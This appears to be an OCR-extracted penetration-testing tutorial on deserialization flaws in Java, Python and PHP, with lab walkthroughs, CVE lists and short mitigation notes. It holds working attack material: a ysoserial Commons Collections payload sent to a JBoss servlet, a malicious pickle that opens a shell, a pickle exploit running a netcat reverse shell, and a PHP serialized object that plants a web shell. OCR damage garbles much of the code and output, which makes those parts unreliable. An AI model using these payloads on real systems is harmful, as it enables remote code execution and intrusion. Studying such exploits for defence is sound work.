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Introduction:

The intention of this document is to help penetration testers and students as well as
to identify and test serialization vulnerabilities on future penetration testing
engagements via consolidating research for serialization penetration testing
techniques. In addition to that, serialization typically implemented in various
platform application server and also web Application. However, this technique had
some vulnerabilities and it was discovered in many application server, methods in

various web applications.
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Serialization (marshaling):

It is the process of translating data structures or object state into bytes format that

can be stored on disk or database or transmitted over the network.

Deserialization (marshaling):
It is the opposite process, which means to, extract data structure or object from

series of bytes

Serialization

OBJECT STREAM

Deserialization

Proagramming language support serialization:

They are many Object-oriented programming support serialization either by using
syntactic sugar element or using interface to implement it. This study consented on
deserialization vulnerabilities in Java, Python, PHP and Ruby as well as how can
these bugs detected, exploit, and Mitigations techniques.
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Risk for using serialization:

The risk raisers, when an untrusted deserialization user inputs by sending
malicious data to be de-serialized and this could lead to logic manipulation or
arbitrary code execution.

In this document will take example to detect and exploit it in Java, Python, PHP

and ruby.
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Serialization In Java




Deserialization vulnerability in Java:

Java provides serialization where object represented as sequence of bytes,

serialization process is JVM independent, which means an object can be serialized

in a platform and de-serialized on different platform.

Java implements serialization using class interface Java.io.Serializable, to serialize

an object to implement classes ObjectinputStream ,ObjectOutputStream those

classes contains several methods to write/read objects.

Student Object /

— N

Serialization - Deserialization
~Name: Balu -'r[ Byte Stream ]— File Byte Stream :Hm—h;:.ladu
=Age: 21 Age:

N —

/

ObjectOutputStream

ObjectInputStream

writeObject: The method writeObject is
used to write an object to the stream

readObject: Read an object from the

ObjectInputStream.

writeUTF: Primitive data write of this
String in modified UTF-8 format.

readUTF : Reads a String in modified
UTF-8 format

readObject it is the vulnerable method that leads to deserialization vulnerability it

takes serialized data without any blacklisting.
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Example

java. io. ObjectInputStream;
java. io. FileInputsStrean;

java. io. ObjectOutputStrean;
Java. io. FileOutputStreamn;
java. ie.Seriglizable;
java. io. IOException;
SerializeTest{
void main{String args[]) Exception{
MyObject myObj MyObject();
myObj . name "bob";
ObjectOutputStream os ObjectOutputStream( FileOutputsStream("file.bin"));
os.uwriteObject({myObj);
os.close();
ObjectInputStream ois ObjectInputStreanm( FileInputStream("file.bin"));
MyObject read (MyObject)ols. readObject();
System.out.println(read.name);
ois.close();

W o~ wm b wmn e

MyObject Serializable{
String name;
void readObject(java.io.ObjectInputStream in) I0Exception, ClassNotFoundExceptiond
in.defaultReadObject();
this. name this.name+"1";

From the above example, you can figure out that “MyObject” class implements
Serializable interface hence uses “readObject” method to covert Serializable
stream to object again, take “Object Input Stream” and read default to read no-
static and non-transient of current class and appended an exclamation mark to the
name, after that create object from serializeable class and add name to name
attribute and Serialize it to file or transmit over network using “Object Output
Stream” to de-serialize it again from stream to object called “Object Input Stream”
and use “read Object” method after converting it into object it will add exclamation

mark.

# xxd file.bin
aced 0005 7372 0008 4479 4f62 Habh 6374 ....8r..MyObject
cfla Theh bdba £698 0200 014c 0004 Gedl ..na

6deh 7400 124c 6abl 766l 2f6c 6lhe 672f met. . Ljava/lang/
5374 7269 Ged? 378 7074 0003 &626fF 62 String,;xpt..bhob
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As seen above, Hexdump of serializeable object, observing bytes ac ed 00 05 73 72
of Java serialized object, also you find class name that implement serializeable
interface, and at bottom you find name bob without exclamation(!) mark.

Java uses object serialization in Java web application and Java application servers.
Serialized data could be found in HTTP requests, parameters, View State or
cookies. For example RMI it’s Java protocol is based on serialization, JMX (Java
Management Extensions) and it relies on serialized object begin transmitted.

After exploring where we could find serialized data, after we found it an
application server uses vulnerable library, if we need to achieve successful
exploration firstly the library would need to be on the Java Class Path variable and

the application would need to be de-serialized by trusted user input.

There are many application server using vulnerable library like commons
collections, Spring Framework, groovy, Apache Commons Fileupload<=1.3.1
Commons collections library using of it can lead to remote code execution (RCE)

it’s extremely popular in Java.
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The following is gadget chain for generating payload for Commonscollections
library.

ObjectInputStream. readObject()
AnnotationInvocationHandler readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler. invoke()
LazyMap.get()
ChainedTransformer . transform()
ConstantTransformer . transform()
InvokerTransformer.transform()
Method . invoke()
Class . getMethod()

Method . invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method. invoke()

1

p

3

4

5

6

7

8

9
19
11 InvokerTransformer.transform()
12
13
14
15
16 Runtime.exec())|

Let’s explain the code
You can figure out Invoker Transformer class is vulnerable and can lead to RCE.
Invoker Transformer constructor requires three parameters:

1- Name of method

2- Parameters types the method accepts

3- Parameter value

Note:

An InvokerTransformer instance accepts an object as input and outputs the
transformed object. The transformation is determined by the instantiation parameters.
The InvokerTransformer first finds a method with the method name as first parameter
then that accepts the given parameters types as second parameter on the incoming
object. Upon finding a matching method, the method on the incoming object and the
parameter values from third as passed as arguments into the method. The returned
value is the value of the method execution.
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Code flow work
First step: the Object Input Stream calls the read Object() method on invocation,

the JVM looks for the serialized Object's class in the Class Path variable. If class is
not found it will throw exception(Class Not Found Exception), if it’s found ,read
Object of the identified class (Annotation Invocation Handler) is invoked. This
process is followed for all types of objects that are serialized with the Commons
Collections payload.
Second step: read Object method inside Annotation Invocation Handler invokes
entry Set method on Map Proxy.
Third step: the method invocation on the Proxy is transferred to Annotation
Invocation Handler corresponding to the Map Proxy instance along with the
method and a blank array.
Fourth step: the lazy Map attempts to retrieve a value with key equal to the method
name "entrySet".
Fifth step: since that key does not exist, the lazy Map instance goes ahead and tries
to create a new key with the name "entry Set".
Sixth step: since a chained Transformer is set to execute during the key creation
process, the chained transformer with the malicious payload is invoked, leading to
remote code execution.
Fortunately we will not code all of that. There are many tools that can exploit this
bug like commons collection which has gadget chain to be exploited like we’ve
seen explained above, there are many gadget chains for many vulnerable libraries
these tools can make it easier for exploitation but you need some steps before
Generating payload involving the gathering as much information as possible before
generating payload for making sure you chose the correct payload.

In the next section, we will dwell into detection of vulnerability taking JBoss as

an example.
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Vulnerability Detection:

Detecting vulnerability involves many steps which we are going to step to
explain these steps individually by working on JBoss-6.1.0 with the vulnerable

version to de-serialization vulnerability.

(D]

<. Welcome ko JBoss AS x

(- "‘)l@ 192,168,207, 139:6050 || Search | Y HE AP

.. BOSSM

[
@ @ by Red Hat

Manage this JBoss AS Instance

JBoss AS Online Resources

JBogs AS Docurnen tation

First step of detecting Java deserialization vulnerability is to detect if there is
vulnerable library used by the application server like commons-collection

library.

|_§" root@intx0x80: /usr/share,"

root@intx0x80: # find . -iname "*commons*collection*™

. /server/all/deplovers/isf.deployver/MyFaces-2.0/jsf-1libs/commons-collections-3.2.jar

. /server/standard/deplovers/jsf.deployer/MyFaces-2.0/)jsf-1ibs/commons-collections-3.2. jar
. /server/default /deployers/jsf.deployer/MyFaces-2.0/jsf-1ibs/commons-collections-3.2. jar

. /server/default /tmp/vEs/automount23a9%438308%92deb2 /commons—-collections. jar-53ceadae?bdab217
. /server/default /tmp/vEs/automount8636¢c05d8bebb3£9 /commons—-collections. jar-34a65lab6alcddd?
. /common/deploy/admin-console.war/WEB-INF/lib/commons—collections-3.2. jar

. /common/lib/commons-collections. jar

. /client /commons-collections. jar
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Detect vulnerable class in library as we mentioned above InvokerTransformer

class it’s vulnerable to RCE.

share/jboss-6.1.

# grep -R InvokerTransformer .
. /server/all/deployers/isf.deployer/MyFaces-2.0/jsf-1ibs/commons-collections-3.2. jar matches
. /server/standard/deployers/isf. deployer/MyFaces-2.0/jsf-1libs/commons-collections-3.2. jar matches

. /server/default /deployers/jsf. deployer /MyFaces-2.0/jsf-1libs/commons-collections-3. 2. jar matches
. /common/deploy/admin-console.war/WEB-INF/lib/commons-collections-3. 2. jar matches

. /fecommon/1ib/commons-collections. jar matches

. /olient /commons-collections. jar matches

: Now after we confirmed that application is vulnerable to
deserialization, it’s time to list open port related to application server to identify

where serialized data transmitted.

oot@intx0x80: ~# 1sof -i -P | grep LISTEN |grep java
1469 jboss 436u TIPwv4 21533 oto
jboss 437u TIPwv4 21536 oto
jboss 438u IPw4 21537
jboss 43%9u TIPwv4 21538
jboss 440u IPwv4d 21539
jboss 442u  IPwv4d 21541
jboss 452u IPwv4d 21552
jboss 453u IPwv4d 21553
jkoss  454u IPw4 21554
jhoss 455u  IPw4 21555
jhoss 456u  IPw4 21556

(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
ocalhost: 4714 {(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)
(LISTEHN)

jhoss  457Tu  IPw4 21557
jbkoss 458u  IPw4 21558
jboss 459u TIPwv4 21559
jboss 478u IPwv4 21569
jboss 479u TIPwv4 21570

o Ok % Rk ROk %k %k % ¥ ¥ % N

It lists ports related to Java process by “lsof” command and makes some filtration
to confirm which port application server used it in its 8080 use by JBoss

application server.
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Third step: after knowing which port application is used to transmit serialized data
it is time to figure out where deserialization appears in some application server,
serialized bytes appear in request, normally you can figure out by focusing on
request body to find pattern [rOOAB] or dump to hex to find magic bytes in JBoss-
6.1.0 deserialization appears when you try to access invoker/JMKInvokerServlet
when accessed you will receive serialization bytes that download when you

access invoker/JMKInvokerServlet as you see in below.

1 =
Go Cancel < | Target: http:/1192.168.207.139:5080 wL

Raw | Headers | Hex Rew | Headers | Hex Desar\al\zeddavaTDasar\ahzedJava1

GET /involker/JMXInvokerServiet HTTP/L.1 HITP/1.1 200 0K

Host: 192.168.207.139:8080 Server: Apache-Coyote/l.1

Content-Type: applicacion/z-java-serialized-obiect jclass=org. jboss. invocac ®-Powered-By: Servlet/3.0; JEossAS-g

ion.MarshalledVale Content-Type: applicacion/z-java-serialized-obiect; class=org.jboss.invocation.MarshalledValue
Content-Length: 1418 Date: Thu, 07 Sep 2017 07:57:54 GMT

Content-Length: 3515

T

—i00sr0$ org. Jboss. invocation. MarshalledValueéT afisJo™000xp=000000

e~i00srOiorg. jboss. invoration. InvecationExceptioniT 00, 0J000L00causet00L] ava/lang/Throwable; xr00java. lang. E
xeeptionDyd>0;05000xr007 ava. lang. Throwable(ES ' 9w, E000L00c auseql-O0L0det a1 1Hess agetO0L] ava/ lang/String; [0
stackTracetO0[Ljava/lang/StackTraceElement ; I00suppressedExcept ionstO0L] ava/util/List; xpad~00purdl [Liava. lang
_StackTraceElement ;OF*<<y"S000xpO0000srO0java. lang. StackTraceBlementa  AS667.000I0
linelumberLO0declaringClassqi~00L00£ 1] eNaneq~00L0

methodNane gi~00xp000%t000r . jboss . invocation. http. servliet. InvokerServlettO0InvolerServiet. javacOprocessReaqu
estsql-0

000F qi~00g0~0t00doGet sqi~0

O00F:003 avax. servliet. hetp. HotpServlettOOHctpServlet. javatOlservicesed-0

000 g ~00 g0 ~00 < ~00 s~

000Dt/ org. apache. catalina. core. ApplicationFilterChaintO0ipplicationFilterChain. javatOdinternalDoFiltersql-0

0004 ¢0~00¢0~00t00doF i Leers gd-0

O000t0-0zg. apache. catalina. core. Standardir apperValvetOOSt andar dirapperValve . javatOlinvekesql-0

000 t0-0zg. apache. catalina. core. StandardContextValvetOlSt andar dContextValve . javaql-O0sed~0

20000000ke0E0r g. Jhoss. web. toneat. security. SecurityAssociacionValverODSecurityAssociacionValve. javagl~-00sq0-0

O00&cO3org. apache. catalina. authenticavor. AuchenticatorBasecO0AuchenticatorBase. javagd-O0sqd-0

O00xed. org. jhoss. web. tomeat. securicy. JaceContextValverODdaceContextValve. javaql-O0sqd-0

O00de0? org. jhoss. web. tomeat. security. SecurivyContextEstablishnentValverdsSecurivyContextEstablishnentValve
avagi~O0sef~0

O00YeO*org. apache. catalina. core. StandardHostValverOOStandardHostValve. javaqd-O0sq0-0

OO0 feO+org. apache. catalina. valves. ErrorReportValvecODErrorBeportValve. avaql-O0sq0-0

O002t0Gorg. jhoss. web. tomcat_ service. jea. CachedConnectionValvetOOCachedConnectionValve . javagl~O0sq0~0

O00utd, org. apache. catalina. core. StandardEngineValvetOOStandardEngineValwve . javagl~00sg~0

O005tODorg. jhoss. web. tomeat. service. request_ActiveRequestResponseCacheValvetOfActiveRequestResponseCacheValy
. & javaql~O0sqi~0

v O003tO+org. apache. catalina. o “tor. Coyot eAdaptertO0CoyoteAdapter . javagl-O0sq-0

2 || < + > | | Tipe o search term 0 matches 2 [ = ||+ || = | 7pessearchiern 0 match

Dons 3754 byles |9

To exploit this you must send serialized payload to invoker/JMKInvokerServlet.
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To generate payload we will use “Ysoserial” as a proof of concept tool for
generating payload that exploits unsafe deserialization vulnerability

Firstly we generate payload using ysoserial

4 Java -Jar ysoserial-master-v0.0.4. jar ComonsCollections] "touch fvar/wmi/htnl/hacked"

Generated payload is used to create file, after generating payload it should be sent,
but initially it must be changed to http method from GET to POST to submit
payload in http body.

You can notice that application/x-Java-serialized-object contains content type for
serialized objects in Java which is used to indicate the media type that is
understood by other application parts to de-serialize it.

Go Cancel < Target: http:/192.166.207.139:5080 L’J\

Raw | Params THeaders Hex | Deserislized Java IDeser\allzed Java Rewv | Headers | Hex [ Deserialized Java TDeserlal\zed Java ]

T Jinvoker/JM{InvokerServiet HTTP/L.1 A HITE/L.1 200 0K

Host: 197.1606.207.139:8080 . Server: Apache-Coyote/l.1

Content-Type: application/x-java-serialized-object;class=org. jhoss. invocat ¥-Powered-By: Servlet/3.0; JBossAS-&

ion MarshalledVale Content-Type: application/x-java-serialized-cbject; class=org.jboss.invocation.MarshalledValue
Content-Lengeh: 1420 Dace: Thu, 07 Sep 2017 07:44:44 GUT

Content-Length: 4148
-i00srO0Zsun. reflect. annotation. AnnotationInvocationHandlerUES00E~¥000L00m

emberValuestODLiava/ucil/Map; LOOrypetOOL] ava/lang/Class; xps 00000 -100sx0f org. Jboss. invocat ion. Marshal ledValueé T a8 J0™000xp20000000F-i00s10 (org. Jhoss. invoration. InverationExe
java.util.MapxrO0java. lang.reflect. Proxya'd eptioniT 0d,0J000L00c ausetO0L] ava/lang/ Throwable ;xx003ava. Lang. Bxcept ionby0>0;05000xr00 ava. lang. Throwabled
i0cEO00LOOntO3Ljava/lang/reflect /InvorationHandler ; xpsgl-O0srO%org. apache ES5 ' 9w, E000L00caus ecfl~00L0det ai 1MessagetO0L ava/lang/String; (O

.comnons. collections. nap. Lazylapnd”, s¥0°000L00factoryed, Lorg/apache/ comme racetO0ILiava/lang/StackTraceEleuent ; LOOsuppressedExceptionstiLiavasutil/List ; xpgd-O0purDd [Liava. Lang

ns/collections/Transformer; xpsxl:org. apache. commons. collections. functors. . StackTraceElement ;0F*<<y"S000xpO000srO0java. lang. StackTraceElenenta  A$c6¥.00010

ChainedTransforner0G—1i (z-0000 (0 lineNuuberlO0declaringClassql-00L00£ilelaneqd~-00L0

iTransformerstO-[Lorg/apache/commons /collect ions/Trans former ; xpurl- [Lorg. nethodlaneqd~00xp0004tO00rg. hoss . invocation. hetp. servlet. InvokerServlettO0InvokerServlet. javatlOprocesshequ
apache. commons. collections. Transforner ;4V*AA40000xp0000srO; org. apache  co estsqil-0

wmons. collections. functors. ConstantTrans fornerXvO0AD+“000LO O00&q0-00¢0~Oc00doPost sqd~-0

iConstanttOOLjava/lang/0bject ;xpvrOljava. lang. Bunt ine00000000000xpstD: org DO06t003 avax. servlet . http. BetpServlettODBctpServiet. javatllservicesql~-0

_apache . commons. collections. functors. InvekerTransformereyl | | 18000 ([00iArg D000 ~00 ¢0~00¢A~00s g0~0

stO0 [ Ljava/lang/0hject ;LO0iMethodianer00L ava/lang/Sering; [D0iParanTypest OO0DeO/org. apache. catalina. core. ApplicationFilverchaincO0ApplicationFilverChain. javatOlinternalDoFilversed-0
O0[Ljava/lang/Class;zpurll[Liava. lang. dhject ;0ixi0s) 1000xp0000c0

getPuntimeurDD [Liava. lang. Class; «0=®FIZ0000xp0000t0 D008 ¢ ~00¢0~00t00doFilter sef-0

getMethodugl-000000vrO03 ava. lang. String 878z ; *BO00xpven-O0s gl ~00ugd-00000 OO00t0-org. apache. catalina. core. StandardiVrapperValverOOStandardVrapperValve. javacOlinvokesqd-0
Opugll~000000t 00 inv ol eugd~000000v:00] ava. Lang. 0b3 ect00000000000xpvqd~O00sqd OO0 t0-org. apache. catalina. core. StandardContextValvetOOSt andar dCont extValve . j avagl-00sq0~0=z0000

~O0urO0 [Liava. lang. String; -0Vgél (CO00xpO000tO0E cuch DOOutOorg. Jhoss. web. toneat. security. SecurityAssociationValvetODSecurityAssociacionValve. javagd-O0sq0-0

fvar fwwa/htnl /hackedtO0execuqd~000000¢0~0fs q0~00sr00j ava. Lang. Integerda i DO05t0%0rg. apache. catalina. authenticator. huthent icatorBasetO0AuthenticatorBase. javaql-O0scd~-0
+04B8000100valuexrO0j ava. Lang. Number t-+00 A« D00xpO000sr00] ava. ut il HashMap 000Xt . org. jboss.web . tomeat . security. JaccContertValvetODJaceContextValve  javacql~-O0sqO~0

OouARD - FOOOFD DO0de0?org. Jhoss. web. toneat. security. SecurityContextEstablishnentValverDsSecurityContexcEstablishnencValve. 3
loadFactorID avaqd-O0s qd~0

thresholdsp? 000000wI00000000 xxvr00] ava. Lang. Override00000000000xpgD~O: DO00¥t0%org. apache . catalina. core. StandardHostValvetOOStandardHostValve  javaql-O0scd-0

OO0 feO+org. apache. catalina. valves. ErrorReportValverOOErrorReportValve. javaql-O0se0-0

DO0:t0org. jboss. web. toncat. service. jea. CachedConnect ionValvetOOCachedConnect ionValve. j avaql~O0sqd-0

O0Owtd, org. apache . catalina. core. StandardEngineValwetO0St andardEngineValve . §avagqd~O0sqd~0

DO0SeODorg. Jhoss. web.toneat. service. request. ActiveRequestResponseCacheValverds AeiveRequest ResponseCacheValy
e.javaql~O0sq0~0

b DO03eO+org. apache. catalina. conmector. CoyoteAdaptertiCoyoreAdapter. javaqd-O0sqd-0

¥  OO0OwtO(org. apache.coyote.httpll. BetpllProcessort z000000HttpllProcessor. javatOdprocesssql-0

2 L= ||+ || = || 7ipezsearchtenm O matches 2 e |l || = || Fiwe 2 searchtem 0 mate

Done 4387 bytes | 31781

After submission, let’s check the path to make sure that a new file was created.
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& roob@intx0xE0; ~

™

# 1s /var/wwww/html
last.html 0000, jpg pwn.txt

Done files create, but sometimes deserialization does not lead every time to RCE
well, sometimes it leads to logical manipulation based on code flaw when using
read Object for RCE the application server runs on restricted environment in this
case RCE will be useless, to solve this you can use blind technique like blind SQL
injection giving target condition if it is true then it sleep target for a while or
otherwise it will do nothing and load page normally on the other hand it can use

DNS to send requests through DNS sever (out-of-band).
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CVE for Deserialization bugs:

1- Weblogic(CVE-2015-4852)

https://www.cvedetails.com/cve/CVE-2015-4852/

2- WebSphere(CVE-2013-1777)
https://www.cvedetails.com/cve/CVE-2013-1777/

3- Jboss (CVE-2013-2165)
https://www.cvedetails.com/cve/CVE-2013-2165/

4- Jenkins (CVE-2015-8103)
http://www.cvedetails.com/cve/CVE-2015-8103/

5- Soffid IAM (CVE-2017-9363)
http://www.cvedetails.com/cve/CVE-2017-9363/

Tools:
1- JIMET https://qithub.com/matthiaskaiser/jmet

2- Ysoserialhttps://github.com/frohoff/ysoserial
3- Java serial killer https://github.com/NetSPI/JavaSerialKiller

4- JavaDeserialization Scanner

https://github.com/federicodotta/Java-Deserialization-Scanner
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Vulnerable libraries lead to RCE:

1. Apache Commons Collections <= 3.1

2. Apache Commons Collections <= 4.0

3. Groovy <=2.3.9

4. Spring Core <=4.1.4 (?)

5. JDK <=7u21

6. Apache Commons BeanUtils 1.9.2 + Commons Collections <=3.1 +
Commons Logging 1.2 (?)

7. BeanShell 2.0

8. Groovy 2.3.9

9. Jython 2.5.2

10.C3P00.9.5.2

11.Apache Commons Fileupload<= 1.3.1 (File uploading, DoS)

12.ROME 1.0

13.MyFaces

14.JRMPClient/JRMPL.istener

15.JSON

16.Hibernate
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Mitigation:

There are no real mitigations to fix deserialization vulnerability because it takes
long time to be fixed, to make some mitigations you should identify the vulnerable
class and remove them and consequently test application after this operation to
make sure it runs fine without any errors or make some of blacklisting vulnerable

classes.
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Serialization Using Pickle

20|Page



Deserialization vulnerability in Python:

Python also provides serialization objects like Java and it has many modules
including Pickle, marshal, shelve, yaml and finally json it is a recommended

module when doing serialization and deserialization.

We could observe differences between Java and Python in deserialization
vulnerability, Python does not depend on code flow to create payload it simply
deserializes all classes this behavior may lead to RCE Serialization which could be

found in parameters or cookies.

Firstly we explore Pickle taking into account what is mentioned in Python

documentation.

The pickle module implements a fundamental, but powerful algorithm for
serializing and de-serializing a Python object structure.

Deserialized untrusted data can compromise the application.

Warning: The pickle module is not secure against erroneous or maliciously
constructed data. Never un-pickle data received from an untrusted or
unauthenticated source

Same thing with marshal and shelve it’s backed by pickle both modules are

vulnerable like pickle.
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Pickle module provides functions for serialization and deserialization.

Dump Write serialized object to open file
Load Convert bytes stream to object again
Dumps Return serialized object as string
Loads Return deserialization process as string
Example:

pickle

def serialization(ob7j,filename):
filename=open{filename, "wu")
pickle.dump(obj, filename)

def deserialization(filename):
filename=open{filename, "r")
pickle.load(filename)

1=[1 i range(1,5)]

serialization(l, 'filel')

deserialization('filel"')

Let’s explain the purpose of this code, it’s very simple by creating two functions
first serialization is to write object to file and another deserialization is to convert
bytes in file to object and return it, the list ranges from 1 to 5 and passed to two

functions. The result of first function will be.
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oot @intx0x80: #f xxd filel
00000000: 286c 7030 0ad? 310a 6149 320a 6149 330a (1p0.T1.aTl2.aIll.

00000010: 6149 340a 61Ze ald.a.

And the result for second function is as follow

~oot@intx0x80: # python serialize.pvy

1, 2, 3, 4]

Now we understand how pickle works but if the deserialised data is untrusted like

we saw previously in which changing data in file to malicious data will lead to
RCE.
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By comment serialization function and change filel content to malicious data

cCos
sywstem

21
-]
= (S '"/sbin/s/=sh"
< R .|

It will run bash shell after running script to deserialize it, you will see bash shell

open.

~o b E dintxO0x 80 #Hf pPpvithon seriali=. %W

gid=—0{xo=t ) groups=—0 (oot )

Here’s a note about pickle behavior before explaining malicious data

Note:

Pickle is a stack language which means pickle instructions are push data onto the stack or
pop data off of the stack and it operates totally like stack.
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Pickle instructions

C Read to newline as module name, next read newline like object
system

( Insert marker object onto stack and paired with t to produce tuple

t Pop objects off the stack until (is popped and create a tuple object
containing the objects popped (except for the () in the order they
were /pushed/ onto the stack. The tuple is pushed onto the stack

S Read string in quotes and push it onto stack

Pop tuple and callable off stack and call callable with tuple
argument and push result on to stack
End of Pickle
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Exploit vulnerability:

In this section we are going to take real world scenario for using pickle in order to

communicate to server that accepts serialized object and deserialized theme.

Firstly we are going through server, furthermore we will identify vulnerable points

that takeover application.

os
pickle
socket

def server(so):
data s0.recv(1024)

obj pickle.loads(data)

c.send("0Ob try again ;) \n")

sock socket.socket(socket.AF_INET, socket.SOCK_STREAM, ©)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1"', 4444))

sock.listen(2)

True:
c, a sock.accept()

(os.fork() 8):
c.send("accepted connection from %s:%d" (a[©], a[1]))
server(c)
exit(1)

We can easily identify vulnerability in server function, it’s receive data and
proceed to loads to deserialize it, from here we can get RCE by craft serialized
object to get RCE .
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We can find serialized objects in web framework based on Python sometime could
be found in cookie and many place you need just time to review code and figure

out where vulnerable point.
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After identify the vulnerability now next we write exploit to get RCE.

pickle
socket
os

class pwn{object):
def _ reduce_ {(self):
comm "ne 127.90.@.1 4443 -e /bin/sh "
{os.system, (comm, ))
pickle.dumps{ pwn{))
socket.socket{socket AF_INET, socket.SOCK_STREAM)
.connect(("127.9.©.1", 4444))
soc.recv(1e24)
.send(pwn)
soc.recv(1e24)

1
2
3
a
5
6
7
8
9

Exploit code is very simple firstly an object is created to be serialized in this case
it’s a class pwn after we define class we explore important points to exploit pickle
vulnerability which involves _ reduce  function inside, we define our payload to
get reverse shell using netcat after that it must be returned to string or tuple to

reconstruct this Object on deserialization process.

ocalhost [127.0.0.1] 41132

s=0({root)

# python expleit.py
t o from 127.0.0.1:59722

Send craft payload to target and setup netcat for accept reverse shell and we got
RCE.
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CVE:

1- OpenStack Object Storage(CVE-2012-4406)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4406

2- powerpc-utils (CVE-2014-8165)
http://www.cvedetails.com/cve/CVE-2014-8165/

3- Cisco Web Security Appliance(CVE-2015-0692)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-0692
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco
-SA-20150410-CVE-2015-0692

4- The Qpid server(CVE-2015-5164)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5164

In many cases some Frameworks use signature cookies to prevent tampering

In this case you must get secret key from source code if it’s found or brute-force it

Mitigation:
Python provide secure module in order to implement serialization one of these

module is json isa lightweight data interchange format or could hmaced serialized

data to prevent it from any type of tampering.
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Serialization in PHP
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Deserialization vulnerability in PHP:
PHP is like Java and Python, PHP also supports serialization and issues of using

serialization it has two methods to implement serialization and deserialization we

explore theme and also a case where we can make web application vulnerable.
Serialize it simply by converting object to bytes that could be stored.

unserialize it simply by converting bytes to object again from here came
vulnerability like Python and Java which serializes untrusted data to expose web
application. Exploit deserialization in Java depends on code flaw and in Python
doesn’t depend on any flow in code, but in PHP depends on code flow inside

magic methods.

Serialization could be found in parameters, cookies.

Warning: Do not pass untrusted user input to unserialize() regardless of the options
value of allowed classes. deserialization can result in code being loaded and
executed due to object instantiation and autoloading, and a malicious user may be
able to exploit this.

PHP has serialized format when serialize object that can help unserialize method to

identitfy each element and get theme back.

Integer | String Null | array boolean
i:<value> | s:<length>:"<value>" N; |a:<length>:{key, value | b:<value>
pairs b:1 /T
b:0 /IF
i:1//1 s:2:”hi” a:2:{s:2:”hi”;s:3:”hil”;}

//array(“hi”=>"hil");

Double d:1:9.9999900000000001
,d:<value>
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Now it is time to look at magic methods, used through serialization and
deserialization as we see in Python deserialization exploited we need to use
__reduce__ to reconstruct our payload when it deserializes something like PHP but

it depends on code flaw after calling magic method.

Magic method use with serialization:

__sleep is called when an object is serialized and must be returned to array.
Magic method use with deserialization:

__wakeup is called when an object is deserialized.

__destruct is called when PHP script end and object is destroyed.

__toString uses object as string but also can be used to read file or more than that

based on function call inside it.
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<

< ?php
class inxt@x80
{ %s 'Hi this test ';
function displaystring()
echo #$this->s.'<br />'; 1}
function _ construct()

echo '<h3> construct method calling <br />';

function  destruct()
echo '<h3> destruct method calling <br />';
function  wakeup{){
echo '<h3> wakeup method calling <br>';}

function _ sleep(){
echo '<h3>_ sleep method calling <br>';
array("s");

b

%o it ox8a( ) ;
$o0->displaystring();
$ser-serialize(%$o);

echo $ser;
$unser-unserialize($ser);
$unser->displaystring();

P

B8 & 127.0.0.1

_ constauct method calling
Hi this test

_ sleep method calling
OB Iinxt0x80™ 11 {8178 ;521 327" HA this test "33

_ wakeup method calling
Hi this test

_ destruct method calling

_ destruct method calling
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The Above code explains the magic method flow of serialization and
deserialization, you can figure out serialized object firstly you call construct
method to construct object secondly you call sleep when it starts serialization
consequently we execute deserialization call wakeup to execute it and also execute
destruct with deserialization process, we are going to focus on both method

__wakeup and __destuct in building exploit.

0:8:"intx0x80:1 this part tells us there are objects having length 8 named

Intx0x80 and has one property.

s:1:7s7;s:13:7Hi this test ©; second part explains that property inside object has
string and has length 1 and named ‘s’ this part tells us to create variables without
initializing and second s:13:”Hi this test © it varies with initializing when string
has length 13.

Note:

When private variable serialized will be added two (null bytes) to current length for
private variable

If variable length is 9 when serialized will be 11
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Exploit vulnerability:

In this section we will learn how to detect and write some exploits, we have small

application to deserialize object then pass it.

First part is info.php which has function to display object when we unserialize it

uses _toString to display object content directly.

<?php

'File.php';
class info
{
$age - 0;
$name = '';
function _ toString()
I
L
‘welcome ' . £this-dname . ' your age is ' . fthis-vage . ' years old. <br />';
}
h
$0 = unserialize($ GET['u']);
echo "<hl>".$0;
DS

Second part is File.php it write to file you can see it has  destruct and inside

function to write to file.

< ?php
cigss File

I
L

$filename - 'db.txt';
$content="1intx0x80' ;
function  destruct()

file put contents{fthis->filename,fthis->content);
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We control what passes to deserialization process we can create exploit code like
exploit.php first including File.php because it has magic method  destruct and

create object from class File and initialize file name what file we want named and

content to PHP shell and finally serialize it

‘File.php’;
$o File();
$0->filename="shell.php";
9 $o->content="<?php echo system($ GET[\'cmdi']); ';
echo serialize($o);
3

Exploit output.

| i plip exploit. php

A:"Pile™:{s:8: "Tilenane”s:Y: "shell php";s:T: "content" ;5. 35: "php echo system(S_GET [fend']); M)

'192.168.207.131IthI\ainnFD‘phD' x-E

(- 192,168,207.131{php/labfinfo. phpfu=0041Minfo™ 214513 e i 245 14 name" 5181 intx 0 a0 - C || Search ‘ ﬁ E { ﬁ‘ 0

welcome intx0x80 you are is 24 years old.

36| Page



Application when passed for serialized object, it will be unserialized and displayed

Now let us submit serialized exploited and see what happens, no error is returned

just blank page.
@) (i:‘ 192.168.20?‘13l,l’phpflab,l’info‘php?u=0:4:"File":2:{5:8:"Fi|ename",'s:9:"s|1§ﬂ£Lh@";s:_7:"content“;s:SS:"<?phpechosystem(:t_Gﬂcmn c¢ ||O\Search | ﬁ E ‘ ‘ﬁ‘
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Now we going to check the file created.

(€)9

Index of /php/lab

(i) 192.168.207.131php/laby ¢ ||:

Name Last modified Size Description

a Parent Directory -
@ File.phy 2017-09-16 1926 197
@ explott.php 2017-09-16 1934 14%
@ info. phyp 2017-08-16 20:34 28%

[?) shellohp 2017-09-16 2031 35

Apache/2.4.25 (Debian) Servar af 192, 168.207.131 Part 80

open shell and execute command.

((_-/:ZI (i) 192,168,207, 131 /php/labjshell php?cmd=id c ||

wd=33{wrwrw-data) gd=33(www-data) groups=33(www-data) ud=330www-data) gd=33{(www-data) groups=33{www-data)
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CVE:

This section lists vulnerable application to unserialize this small list in real life
they are many applications that still use it
Wordpress 3.6.1(CVE-2013-4338)
https://www.cvedetails.com/cve/CVE-2013-4338/
1- Magento2.0.6(CVE-2016-4010)
